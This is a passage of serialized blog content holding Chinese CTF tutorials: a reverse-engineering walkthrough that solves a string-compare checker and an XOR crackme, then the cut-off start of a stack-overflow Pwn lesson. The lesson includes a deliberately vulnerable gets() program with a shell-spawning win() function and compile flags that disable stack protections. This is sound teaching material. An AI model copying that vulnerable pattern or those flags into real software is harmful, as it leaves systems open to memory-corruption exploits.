-n",[29,1360,1361],{"class":165}," 3",[29,1363,1286],{"class":169},[15,1365,1366],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1368,1369,1371],{},[187,1370,189],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1373,1374,1376,1377,933,1380,933,1383,1386,1387,1390,1391,1394],{},[187,1375,255],{},"：输出里的 ",[26,1378,1379],{},"Usage: ./checkflag \u003Cflag>",[26,1381,1382],{},"Correct!",[26,1384,1385],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[26,1388,1389],{},"k3y","），先用 ",[26,1392,1393],{},"-n 3"," 确认——可能正是加密密钥。",[1268,1396,1398],{"id":1397},"_33-运行程序观察行为","3.3 运行程序观察行为",[19,1400,1402],{"className":152,"code":1401,"language":154,"meta":24,"style":24},"./checkflag test\n",[26,1403,1404],{"__ignoreMap":24},[29,1405,1406,1409],{"class":31,"line":32},[29,1407,1408],{"class":161},"./checkflag",[29,1410,1202],{"class":169},[15,1412,1413,1414,389],{},"输出：",[26,1415,1385],{},[19,1417,1419],{"className":152,"code":1418,"language":154,"meta":24,"style":24},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,1420,1421],{"__ignoreMap":24},[29,1422,1423,1425],{"class":31,"line":32},[29,1424,1408],{"class":161},[29,1426,1427],{"class":169}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1429,1413,1430,1432],{},[26,1431,1385],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1434,1435,1437],{},[187,1436,189],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1439,1441],{"id":1440},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1443,1444,1446],{},[187,1445,189],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1448,1449,1451,1452,1455,1456,1459,1460,1463],{},[187,1450,255],{},"：程序要么比较字符串（",[26,1453,1454],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[26,1457,1458],{},"call","（函数调用）和 ",[26,1461,1462],{},"je/jne","（条件跳转）就能定位判断点。",[1268,1465,1467],{"id":1466},"_41-objdump-看-main","4.1 objdump 看 main",[15,1469,205],{},[19,1471,1473],{"className":152,"code":1472,"language":154,"meta":24,"style":24},"objdump -d -M intel checkflag\n",[26,1474,1475],{"__ignoreMap":24},[29,1476,1477,1480,1483,1486,1489],{"class":31,"line":32},[29,1478,1479],{"class":161},"objdump",[29,1481,1482],{"class":165}," -d",[29,1484,1485],{"class":165}," -M",[29,1487,1488],{"class":169}," intel",[29,1490,1286],{"class":169},[15,1492,1493],{},"输出很长，用 grep 只看 main：",[19,1495,1497],{"className":152,"code":1496,"language":154,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[26,1498,1499],{"__ignoreMap":24},[29,1500,1501,1503,1505,1507,1509,1512,1515,1518,1521,1524,1528,1531],{"class":31,"line":32},[29,1502,1479],{"class":161},[29,1504,1482],{"class":165},[29,1506,1485],{"class":165},[29,1508,1488],{"class":169},[29,1510,1511],{"class":169}," checkflag",[29,1513,1514],{"class":1182}," |",[29,1516,1517],{"class":161}," grep",[29,1519,1520],{"class":165}," -A",[29,1522,1523],{"class":165}," 40",[29,1525,1527],{"class":1526},"seVfx"," '",[29,1529,1530],{"class":169},"\u003Cmain>",[29,1532,1533],{"class":1526},"'\n",[15,1535,1536],{},"预期输出（节选）：",[19,1538,1542],{"className":1539,"code":1540,"language":1541,"meta":24,"style":24},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[26,1543,1544,1549,1554,1559,1564,1569,1574,1579,1584,1589],{"__ignoreMap":24},[29,1545,1546],{"class":31,"line":32},[29,1547,1548],{},"0000000000001189 \u003Cmain>:\n",[29,1550,1551],{"class":31,"line":38},[29,1552,1553],{},"    1189:  push   rbp\n",[29,1555,1556],{"class":31,"line":104},[29,1557,1558],{},"    118a:  mov    rbp, rsp\n",[29,1560,1561],{"class":31,"line":110},[29,1562,1563],{},"    1191:  cmp    edi, 0x2\n",[29,1565,1566],{"class":31,"line":116},[29,1567,1568],{},"    1194:  jne    0x11a0\n",[29,1570,1571],{"class":31,"line":122},[29,1572,1573],{},"    119e:  call   0x1149 \u003Ccheck>\n",[29,1575,1576],{"class":31,"line":128},[29,1577,1578],{},"    11a3:  test   eax, eax\n",[29,1580,1581],{"class":31,"line":134},[29,1582,1583],{},"    11a5:  je     0x11b5\n",[29,1585,1586],{"class":31,"line":140},[29,1587,1588],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[29,1590,1591],{"class":31,"line":146},[29,1592,1593],{},"    11ae:  call   puts@plt\n",[15,1595,1596],{},"逐行解释：",[455,1598,1599,1609],{},[458,1600,1601],{},[461,1602,1603,1606],{},[464,1604,1605],{},"指令",[464,1607,1608],{},"含义",[471,1610,1611,1621,1631,1641],{},[461,1612,1613,1618],{},[476,1614,1615],{},[26,1616,1617],{},"cmp edi, 0x2",[476,1619,1620],{},"比较参数个数 argc 是否为 2",[461,1622,1623,1628],{},[476,1624,1625],{},[26,1626,1627],{},"call check",[476,1629,1630],{},"调用校验函数 check",[461,1632,1633,1638],{},[476,1634,1635],{},[26,1636,1637],{},"test eax, eax",[476,1639,1640],{},"检查返回值是否为 0",[461,1642,1643,1648],{},[476,1644,1645],{},[26,1646,1647],{},"je 0x11b5",[476,1649,1650],{},"为 0 则跳到打印 Wrong 的地方",[15,1652,1653,1654,1657],{},"结论：逻辑在 ",[26,1655,1656],{},"check"," 函数里。",[15,1659,1660,85,1663,1665,1666,1668,1669,1672,1673,1675,1676,389],{},[187,1661,1662],{},"怎么想到看 check",[26,1664,1627],{}," 之后紧跟 ",[26,1667,1637],{}," 和 ",[26,1670,1671],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[26,1674,1656],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[26,1677,1656],{},[1268,1679,1681],{"id":1680},"_42-看-check","4.2 看 check",[19,1683,1685],{"className":152,"code":1684,"language":154,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[26,1686,1687],{"__ignoreMap":24},[29,1688,1689,1691,1693,1695,1697,1699,1701,1703,1705,1708,1710,1713],{"class":31,"line":32},[29,1690,1479],{"class":161},[29,1692,1482],{"class":165},[29,1694,1485],{"class":165},[29,1696,1488],{"class":169},[29,1698,1511],{"class":169},[29,1700,1514],{"class":1182},[29,1702,1517],{"class":161},[29,1704,1520],{"class":165},[29,1706,1707],{"class":165}," 50",[29,1709,1527],{"class":1526},[29,1711,1712],{"class":169},"\u003Ccheck>",[29,1714,1533],{"class":1526},[15,1716,1717],{},"如果看到：",[19,1719,1721],{"className":1539,"code":1720,"language":1541,"meta":24,"style":24},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[26,1722,1723,1728,1733],{"__ignoreMap":24},[29,1724,1725],{"class":31,"line":32},[29,1726,1727],{},"call   strcmp@plt\n",[29,1729,1730],{"class":31,"line":38},[29,1731,1732],{},"test   eax, eax\n",[29,1734,1735],{"class":31,"line":104},[29,1736,1737],{},"je     ...\n",[15,1739,1740,1741,1744],{},"说明是字符串比较，flag 就藏在 ",[26,1742,1743],{},".rodata"," 里。",[15,1746,1747,85,1750,1753,1754,1757,1758,1760],{},[187,1748,1749],{},"验证方式",[26,1751,1752],{},"call strcmp@plt"," 前面通常有一条 ",[26,1755,1756],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[26,1759,1743],{}," 里找内容即可。",[1268,1762,1764],{"id":1763},"_43-看只读数据段","4.3 看只读数据段",[19,1766,1768],{"className":152,"code":1767,"language":154,"meta":24,"style":24},"objdump -s -j .rodata checkflag\n",[26,1769,1770],{"__ignoreMap":24},[29,1771,1772,1774,1777,1780,1783],{"class":31,"line":32},[29,1773,1479],{"class":161},[29,1775,1776],{"class":165}," -s",[29,1778,1779],{"class":165}," -j",[29,1781,1782],{"class":169}," .rodata",[29,1784,1286],{"class":169},[15,1786,385],{},[19,1788,1791],{"className":1789,"code":1790,"language":211,"meta":24},[209],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[26,1792,1790],{"__ignoreMap":24},[15,1794,1795,1796,1799,1800,389],{},"ASCII 十六进制 ",[26,1797,1798],{},"63 6f 6e 67..."," 解出来就是 ",[26,1801,1802],{},"congratulations",[15,1804,1805,1808,1809,418,1811,1814],{},[187,1806,1807],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[26,1810,1743],{},[26,1812,1813],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[1268,1816,1818],{"id":1817},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1820,1821],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[19,1823,1825],{"className":152,"code":1824,"language":154,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[26,1826,1827,1839,1854,1866],{"__ignoreMap":24},[29,1828,1829,1831,1833,1836],{"class":31,"line":32},[29,1830,1227],{"class":161},[29,1832,1230],{"class":169},[29,1834,1835],{"class":169}," openjdk-21-jdk",[29,1837,1838],{"class":169}," unzip\n",[29,1840,1841,1844,1847,1851],{"class":31,"line":38},[29,1842,1843],{"class":161},"wget",[29,1845,1846],{"class":169}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[29,1848,1850],{"class":1849},"sqerP","*",[29,1852,1853],{"class":169},".zip\n",[29,1855,1856,1859,1862,1864],{"class":31,"line":104},[29,1857,1858],{"class":161},"unzip",[29,1860,1861],{"class":169}," ghidra_",[29,1863,1850],{"class":1849},[29,1865,1853],{"class":169},[29,1867,1868,1872,1874,1876,1879,1882],{"class":31,"line":110},[29,1869,1871],{"class":1870},"sLL85","cd",[29,1873,1861],{"class":169},[29,1875,1850],{"class":1849},[29,1877,1878],{"class":169},"_PUBLIC",[29,1880,1881],{"class":1189}," && ",[29,1883,1884],{"class":161},"./ghidraRun\n",[15,1886,1887],{},"操作步骤：",[623,1889,1890,1893,1898,1901],{},[61,1891,1892],{},"File → New Project → 命名。",[61,1894,447,1895,1897],{},[26,1896,1251],{}," 拖进项目，双击导入。",[61,1899,1900],{},"等待自动分析完成。",[61,1902,1903,1904,1907],{},"左侧 Symbol Tree 双击 ",[26,1905,1906],{},"main","，右侧 Decompiler 显示伪代码。",[15,1909,1910],{},"预期伪代码：",[19,1912,1914],{"className":21,"code":1913,"language":23,"meta":24,"style":24},"if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n",[26,1915,1916,1921,1926,1931],{"__ignoreMap":24},[29,1917,1918],{"class":31,"line":32},[29,1919,1920],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[29,1922,1923],{"class":31,"line":38},[29,1924,1925],{},"    puts(\"Correct!\");\n",[29,1927,1928],{"class":31,"line":104},[29,1929,1930],{},"else\n",[29,1932,1933],{"class":31,"line":110},[29,1934,1935],{},"    puts(\"Wrong!\");\n",[15,1937,1938],{},"flag 直接可见。",[10,1940,1942],{"id":1941},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1944,1945],{},"静态分析看不懂时，让程序跑起来。",[15,1947,1948,1950],{},[187,1949,189],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1952,1953,1955,1956,1959],{},[187,1954,255],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[26,1957,1958],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[19,1961,1963],{"className":152,"code":1962,"language":154,"meta":24,"style":24},"gdb ./checkflag\n",[26,1964,1965],{"__ignoreMap":24},[29,1966,1967,1970],{"class":31,"line":32},[29,1968,1969],{"class":161},"gdb",[29,1971,1171],{"class":169},[15,1973,1974],{},"进入 GDB 交互后：",[1268,1976,1978],{"id":1977},"_51-下断点","5.1 下断点",[19,1980,1983],{"className":1981,"code":1982,"language":1969,"meta":24,"style":24},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[26,1984,1985],{"__ignoreMap":24},[29,1986,1987],{"class":31,"line":32},[29,1988,1982],{},[15,1990,385],{},[19,1992,1995],{"className":1993,"code":1994,"language":211,"meta":24},[209],"Breakpoint 1 at 0x1149\n",[26,1996,1994],{"__ignoreMap":24},[1268,1998,2000],{"id":1999},"_52-带参数运行","5.2 带参数运行",[19,2002,2004],{"className":1981,"code":2003,"language":1969,"meta":24,"style":24},"(gdb) run test\n",[26,2005,2006],{"__ignoreMap":24},[29,2007,2008],{"class":31,"line":32},[29,2009,2003],{},[15,2011,385],{},[19,2013,2016],{"className":2014,"code":2015,"language":211,"meta":24},[209],"Breakpoint 1, 0x0000555555555149 in check ()\n",[26,2017,2015],{"__ignoreMap":24},[15,2019,2020],{},"程序停在 check 入口。",[1268,2022,2024],{"id":2023},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[19,2026,2028],{"className":1981,"code":2027,"language":1969,"meta":24,"style":24},"(gdb) x/20i $rip\n",[26,2029,2030],{"__ignoreMap":24},[29,2031,2032],{"class":31,"line":32},[29,2033,2027],{},[15,2035,2036],{},"输出 check 函数开头的 20 条汇编。",[1268,2038,2040],{"id":2039},"_54-单步并观察比较","5.4 单步并观察比较",[19,2042,2044],{"className":1981,"code":2043,"language":1969,"meta":24,"style":24},"(gdb) stepi\n",[26,2045,2046],{"__ignoreMap":24},[29,2047,2048],{"class":31,"line":32},[29,2049,2043],{},[15,2051,2052,2053,2055],{},"反复执行直到看到 ",[26,2054,1752],{},"。然后：",[19,2057,2059],{"className":1981,"code":2058,"language":1969,"meta":24,"style":24},"(gdb) x/s $rsi\n",[26,2060,2061],{"__ignoreMap":24},[29,2062,2063],{"class":31,"line":32},[29,2064,2058],{},[15,2066,2067],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2069,2070,85,2073,2076,2077,2080,2081,2084,2085,2076,2088,2091],{},[187,2071,2072],{},"补充说明",[26,2074,2075],{},"x/s"," 的 ",[26,2078,2079],{},"s"," 表示按字符串显示；",[26,2082,2083],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[26,2086,2087],{},"strcmp(a, b)",[26,2089,2090],{},"b"," 就存在这里。",[15,2093,2094,2095,2098],{},"补充：如果嫌 GDB 麻烦，",[26,2096,2097],{},"ltrace"," 直接跟踪库调用：",[19,2100,2102],{"className":152,"code":2101,"language":154,"meta":24,"style":24},"ltrace ./checkflag test\n",[26,2103,2104],{"__ignoreMap":24},[29,2105,2106,2108,2110],{"class":31,"line":32},[29,2107,2097],{"class":161},[29,2109,1179],{"class":169},[29,2111,1202],{"class":169},[15,2113,2114],{},"预期输出中会出现：",[19,2116,2119],{"className":2117,"code":2118,"language":211,"meta":24},[209],"strcmp(\"test\", \"congratulations\") = 1\n",[26,2120,2118],{"__ignoreMap":24},[15,2122,2123],{},"flag 一目了然。",[15,2125,2126,2129],{},[187,2127,2128],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2131,2133],{"id":2132},"六必学工具","六、必学工具",[455,2135,2136,2148],{},[458,2137,2138],{},[461,2139,2140,2142,2145],{},[464,2141,967],{},[464,2143,2144],{},"核心功能",[464,2146,2147],{},"命令示例",[471,2149,2150,2162,2180,2195],{},[461,2151,2152,2154,2157],{},[476,2153,1283],{},[476,2155,2156],{},"看类型、位数、是否 stripped",[476,2158,2159],{},[26,2160,2161],{},"file checkflag",[461,2163,2164,2166,2169],{},[476,2165,1326],{},[476,2167,2168],{},"提取字符串、指定最小长度、管道过滤",[476,2170,2171,933,2174,933,2177],{},[26,2172,2173],{},"strings checkflag",[26,2175,2176],{},"strings -n 3 a",[26,2178,2179],{},"strings a | grep flag",[461,2181,2182,2184,2187],{},[476,2183,1479],{},[476,2185,2186],{},"反汇编、看数据段、Intel 语法",[476,2188,2189,933,2192],{},[26,2190,2191],{},"objdump -d -M intel a",[26,2193,2194],{},"objdump -s -j .rodata a",[461,2196,2197,2200,2203],{},[476,2198,2199],{},"GDB",[476,2201,2202],{},"断点、运行、看内存/寄存器",[476,2204,2205,933,2208,933,2211],{},[26,2206,2207],{},"break check",[26,2209,2210],{},"run",[26,2212,2213],{},"x/20i $rip",[15,2215,2216,2217,65,2219,2222],{},"另：Ghidra 负责把汇编还原成伪代码；",[26,2218,2097],{},[26,2220,2221],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2224,2226],{"id":2225},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2228,2229,2230,2233],{},"题目：",[26,2231,2232],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[1268,2235,2237],{"id":2236},"第一步侦查","第一步：侦查",[15,2239,2240,2242],{},[187,2241,189],{},"：先找密钥与提示。",[15,2244,2245,85,2247,2249,2250,2252,2253,2255],{},[187,2246,255],{},[26,2248,1326],{}," 默认漏掉短串，所以用 ",[26,2251,1393],{},"；看到 ",[26,2254,1389],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[19,2257,2259],{"className":152,"code":2258,"language":154,"meta":24,"style":24},"strings -n 3 crackme\n",[26,2260,2261],{"__ignoreMap":24},[29,2262,2263,2265,2267,2269],{"class":31,"line":32},[29,2264,1326],{"class":161},[29,2266,1358],{"class":165},[29,2268,1361],{"class":165},[29,2270,2271],{"class":169}," crackme\n",[15,2273,2274,2275,2277],{},"预期输出中有 ",[26,2276,1389],{},"——疑似密钥。",[1268,2279,2281],{"id":2280},"第二步反编译-check","第二步：反编译 check",[15,2283,2284,2286],{},[187,2285,189],{},"：确认密钥如何使用、密文数组是什么。",[15,2288,2289,2291,2292,2295],{},[187,2290,1749],{},"：伪代码 ",[26,2293,2294],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2297,2298,2299,2301],{},"用 Ghidra 打开，",[26,2300,1656],{}," 伪代码：",[19,2303,2305],{"className":21,"code":2304,"language":23,"meta":24,"style":24},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[26,2306,2307],{"__ignoreMap":24},[29,2308,2309],{"class":31,"line":32},[29,2310,2304],{},[1268,2312,2314],{"id":2313},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2316,2317,2319],{},[187,2318,189],{},"：把\"加密\"反过来算，得到明文。",[15,2321,2322,2324,2325,2328],{},[187,2323,255],{},"：异或的自反性 ",[26,2326,2327],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[19,2330,2332],{"className":311,"code":2331,"language":313,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[26,2333,2334,2339,2344,2349,2354,2359,2364,2369,2374,2379,2384,2389],{"__ignoreMap":24},[29,2335,2336],{"class":31,"line":32},[29,2337,2338],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,2340,2341],{"class":31,"line":38},[29,2342,2343],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,2345,2346],{"class":31,"line":104},[29,2347,2348],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[29,2350,2351],{"class":31,"line":110},[29,2352,2353],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[29,2355,2356],{"class":31,"line":116},[29,2357,2358],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[29,2360,2361],{"class":31,"line":122},[29,2362,2363],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[29,2365,2366],{"class":31,"line":128},[29,2367,2368],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[29,2370,2371],{"class":31,"line":134},[29,2372,2373],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[29,2375,2376],{"class":31,"line":140},[29,2377,2378],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[29,2380,2381],{"class":31,"line":146},[29,2382,2383],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[29,2385,2386],{"class":31,"line":367},[29,2387,2388],{},"print(flag.decode())\n",[29,2390,2391],{"class":31,"line":373},[29,2392,2393],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2395,1413],{},[19,2397,2400],{"className":2398,"code":2399,"language":211,"meta":24},[209],"ctf{reverse_engineering}\n",[26,2401,2399],{"__ignoreMap":24},[1268,2403,2405],{"id":2404},"第四步验证","第四步：验证",[19,2407,2409],{"className":152,"code":2408,"language":154,"meta":24,"style":24},"./crackme ctf{reverse_engineering}\n",[26,2410,2411],{"__ignoreMap":24},[29,2412,2413,2416],{"class":31,"line":32},[29,2414,2415],{"class":161},"./crackme",[29,2417,2418],{"class":169}," ctf{reverse_engineering}\n",[15,2420,1413,2421,389],{},[26,2422,1382],{},[10,2424,2426],{"id":2425},"八小结","八、小结",[15,2428,2429,2430,65,2432,2434,2435,2437],{},"逆向入门三步：",[26,2431,1283],{},[26,2433,1326],{}," 侦查 → ",[26,2436,1479],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1114,2439,2440],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":24,"searchDepth":38,"depth":38,"links":2442},[2443,2444,2445,2446,2447,2448,2449,2450],{"id":1151,"depth":104,"text":1152},{"id":1213,"depth":104,"text":1214},{"id":1255,"depth":104,"text":1256},{"id":1440,"depth":104,"text":1441},{"id":1941,"depth":104,"text":1942},{"id":2132,"depth":104,"text":2133},{"id":2225,"depth":104,"text":2226},{"id":2425,"depth":104,"text":2426},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1132,"image":2453,"alt":2454,"tags":2455,"published":100},"/blogs-img/blog1.png","CTF 逆向入门",[1136,2456,1138],"reverse","/blogs/ctf-reverse-overview",{"title":1146,"description":2451},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2462,"title":2463,"body":2464,"description":3297,"extension":1130,"meta":3298,"navigation":100,"ogImage":3299,"path":3302,"seo":3303,"stem":3304,"__hash__":3305},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2465,"toc":3285},[2466,2470,2477,2483,2485,2487,2514,2518,2524,2614,2617,2648,2652,2657,2662,2664,2678,2680,2686,2689,2746,2750,2756,2762,2769,2837,2842,2846,2850,2888,2890,2896,2900,2908,2918,2927,2931,2975,2984,2988,2993,2998,3066,3069,3075,3085,3087,3155,3159,3167,3170,3183,3194,3199,3204,3260,3262,3268,3270,3282],[10,2467,2469],{"id":2468},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2471,2472,2473,2476],{},"C 语言函数 ",[26,2474,2475],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2478,2479,2480,389],{},"本文只讲一条主线：",[187,2481,2482],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2484,1214],{"id":1213},[15,2486,1217],{},[19,2488,2490],{"className":152,"code":2489,"language":154,"meta":24,"style":24},"apt install gcc gdb\npip3 install pwntools\n",[26,2491,2492,2504],{"__ignoreMap":24},[29,2493,2494,2496,2498,2501],{"class":31,"line":32},[29,2495,1227],{"class":161},[29,2497,1230],{"class":169},[29,2499,2500],{"class":169}," gcc",[29,2502,2503],{"class":169}," gdb\n",[29,2505,2506,2509,2511],{"class":31,"line":38},[29,2507,2508],{"class":161},"pip3",[29,2510,1230],{"class":169},[29,2512,2513],{"class":169}," pwntools\n",[10,2515,2517],{"id":2516},"三漏洞程序与编译","三、漏洞程序与编译",[15,2519,2520,2521,85],{},"保存 ",[26,2522,2523],{},"vuln.c",[19,2525,2527],{"className":21,"code":2526,"language":23,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[26,2528,2529,2533,2537,2541,2545,2549,2553,2557,2562,2567,2572,2576,2580,2584,2588,2593,2598,2604,2609],{"__ignoreMap":24},[29,2530,2531],{"class":31,"line":32},[29,2532,95],{},[29,2534,2535],{"class":31,"line":38},[29,2536,726],{},[29,2538,2539],{"class":31,"line":104},[29,2540,101],{"emptyLinePlaceholder":100},[29,2542,2543],{"class":31,"line":110},[29,2544,735],{},[29,2546,2547],{"class":31,"line":116},[29,2548,740],{},[29,2550,2551],{"class":31,"line":122},[29,2552,149],{},[29,2554,2555],{"class":31,"line":128},[29,2556,101],{"emptyLinePlaceholder":100},[29,2558,2559],{"class":31,"line":134},[29,2560,2561],{},"void vuln() {\n",[29,2563,2564],{"class":31,"line":140},[29,2565,2566],{},"    char buf[32];\n",[29,2568,2569],{"class":31,"line":146},[29,2570,2571],{},"    gets(buf);\n",[29,2573,2574],{"class":31,"line":367},[29,2575,149],{},[29,2577,2578],{"class":31,"line":373},[29,2579,101],{"emptyLinePlaceholder":100},[29,2581,2582],{"class":31,"line":379},[29,2583,107],{},[29,2585,2586],{"class":31,"line":775},[29,2587,119],{},[29,2589,2590],{"class":31,"line":781},[29,2591,2592],{},"    puts(\"Hello, what's your name?\");\n",[29,2594,2595],{"class":31,"line":786},[29,2596,2597],{},"    vuln();\n",[29,2599,2601],{"class":31,"line":2600},17,[29,2602,2603],{},"    puts(\"Bye!\");\n",[29,2605,2607],{"class":31,"line":2606},18,[29,2608,143],{},[29,2610,2612],{"class":31,"line":2611},19,[29,2613,149],{},[15,2615,2616],{},"编译（关闭金丝雀和 PIE，方便入门）：",[19,2618,2620],{"className":152,"code":2619,"language":154,"meta":24,"style":24},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[26,2621,2622,2638,2643],{"__ignoreMap":24},[29,2623,2624,2626,2628,2631,2634,2636],{"class":31,"line":32},[29,2625,162],{"class":161},[29,2627,166],{"class":165},[29,2629,2630],{"class":169}," vuln",[29,2632,2633],{"class":169}," vuln.c",[29,2635,176],{"class":165},[29,2637,179],{"class":165},[29,2639,2640],{"class":31,"line":38},[29,2641,2642],{"class":823},"# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[29,2644,2645],{"class":31,"line":104},[29,2646,2647],{"class":823},"# -no-pie：关闭地址随机化，win 